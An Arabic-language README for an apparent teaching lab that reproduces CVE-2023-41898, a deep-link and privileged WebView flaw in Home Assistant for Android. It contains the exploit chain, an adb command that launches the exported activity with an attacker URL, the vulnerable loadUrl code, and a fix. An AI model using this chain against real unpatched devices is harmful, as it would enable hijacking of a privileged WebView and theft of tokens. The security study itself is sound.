
تجوّل عبر CVE-2023-41898: استغلال رابط عميق غير مُتحقق منه في Home Assistant لنظام أندرويد لتحميل عناوين URL عشوائية في WebView بصلاحيات مرتفعة وتسريب رمز مميز مزيف.
هو مختبر تعليمي مُصغَّر لإعادة إنتاج الثغرة، مبني على تقرير الثغرة المنشور (GHSL-2023-142) الخاص بـ Home Assistant Companion for Android وعلى البنية مفتوحة المصدر للإصدار الضعيف 2023.8.2.
لا تُستخدم أي خوادم أو حسابات أو رموز مميزة (tokens) حقيقية لـ Home Assistant. يُكشَف فقط رمز مميز افتراضي ثابت باسم LAB_TOKEN_CVE_2023_41898_NOT_REAL.
2023.9.2 (وفقًا للتوصية الرسمية)2023.9.2Attacker App
│ explicit ACTION_VIEW Intent
│ data=http://10.0.2.2:8000/exploit.html
▼
Victim MyActivity (exported)
│ 검증 없이 JavaScript-enabled WebView.loadUrl()
▼
exploit.html
│ homeassistant://navigate/http://10.0.2.2:8000/second-stage.html
▼
Victim WebViewActivity (privileged WebView)
│ 공격자 페이지에 externalApp JavaScript bridge 노출
▼
가상 LAB_TOKEN 표시
لا يقوم intent-filter في Android manifest إلا بتحديد عناوين URI التي تتم مطابقتها مع Intent الضمني، ولا يتحقق تلقائيًا من data URI في Intent الذي يحدد المكوّن بشكل صريح.
victim/: تطبيق يعيد إنتاج مُعالِج الروابط العميقة الضعيف وWebView المُمنَّح صلاحياتattacker/: تطبيق يرسل Intent صريحًا إلى Activity المُصدَّر (exported) في تطبيق الضحيةweb/: صفحتا الهجوم للمرحلتين 1 و2 واللتان سيتم تقديمهما محليًاdist/: ملفات APK الخاصة بوضع التصحيح (debug) بعد التحقق منهاUPSTREAM.md: العلاقة المطابِقة بين الكود المصدري الأصلي وتنفيذ المختبرالمتطلبات: JDK 17 أو أحدث، Android SDK 36، وذاكرة تخزين مؤقت لـ Gradle/Android Gradle Plugin أو اتصال بالإنترنت.
./gradlew :victim:assembleDebug :attacker:assembleDebug
نفّذ ذلك فقط على مُحاكٍ (emulator) أو جهاز اختبار مصرّح به.
adb install -r dist/cve-2023-41898-victim-debug.apk
adb install -r dist/cve-2023-41898-attacker-debug.apk
نفّذ الأمر التالي من جذر المختبر.
python3 -m http.server 8000 --directory web
في مُحاكي Android Studio الافتراضي، يشير 10.0.2.2 إلى الواجهة الارتدادية (loopback) الخاصة بالكمبيوتر المضيف. إذا كنت تستخدم جهاز اختبار حقيقيًا، فغيّر web/exploit.html وعنوان URL في تطبيق الهجوم إلى عنوان IP الخاص بالكمبيوتر المضيف على الشبكة المحلية (LAN).
CVE-2023-41898 Victim وCVE-2023-41898 Attacker.homeassistant://navigate/.LAB_TOKEN_CVE_2023_41898_NOT_REAL.يمكنك أيضًا استدعاء المرحلة الأولى عبر ADB دون تطبيق الهجوم.
adb shell am start \
-n lab.cve202341898.victim/.MyActivity \
-a android.intent.action.VIEW \
-d 'http://10.0.2.2:8000/exploit.html'
التنفيذ الضعيف يحمّل URI الخارجي كما هو.
Uri urlToLoad = getIntent().getData();
webView.loadUrl(urlToLoad.toString());
عند الإصلاح، يجب التحقق من scheme وhost وport وpath الخاصة بـ URI المُحلَّل (parsed) باستخدام قائمة سماح (allowlist) صارمة. لا تستخدم مقارنة السلاسل النصية startsWith لأنها تنطوي على مخاطر تجاوز عبر معلومات المستخدم ([email protected])، والنطاقات الفرعية، والترميز (encoding).
Uri uri = getIntent().getData();
boolean trusted = uri != null
&& "https".equals(uri.getScheme())
&& "my.home-assistant.io".equals(uri.getHost())
&& uri.getPort() == -1
&& uri.getPath() != null
&& uri.getPath().startsWith("/redirect/");
if (!trusted) {
finish();
return;
}
بالإضافة إلى ذلك، أزل JavaScript وJavascriptInterface غير الضرورية من WebView، وطبّق نفس التحقق من عناوين URL على كل عمليات التنقل وإعادة التوجيه (redirects).
2023.8.2: https://github.com/home-assistant/android/tree/2023.8.2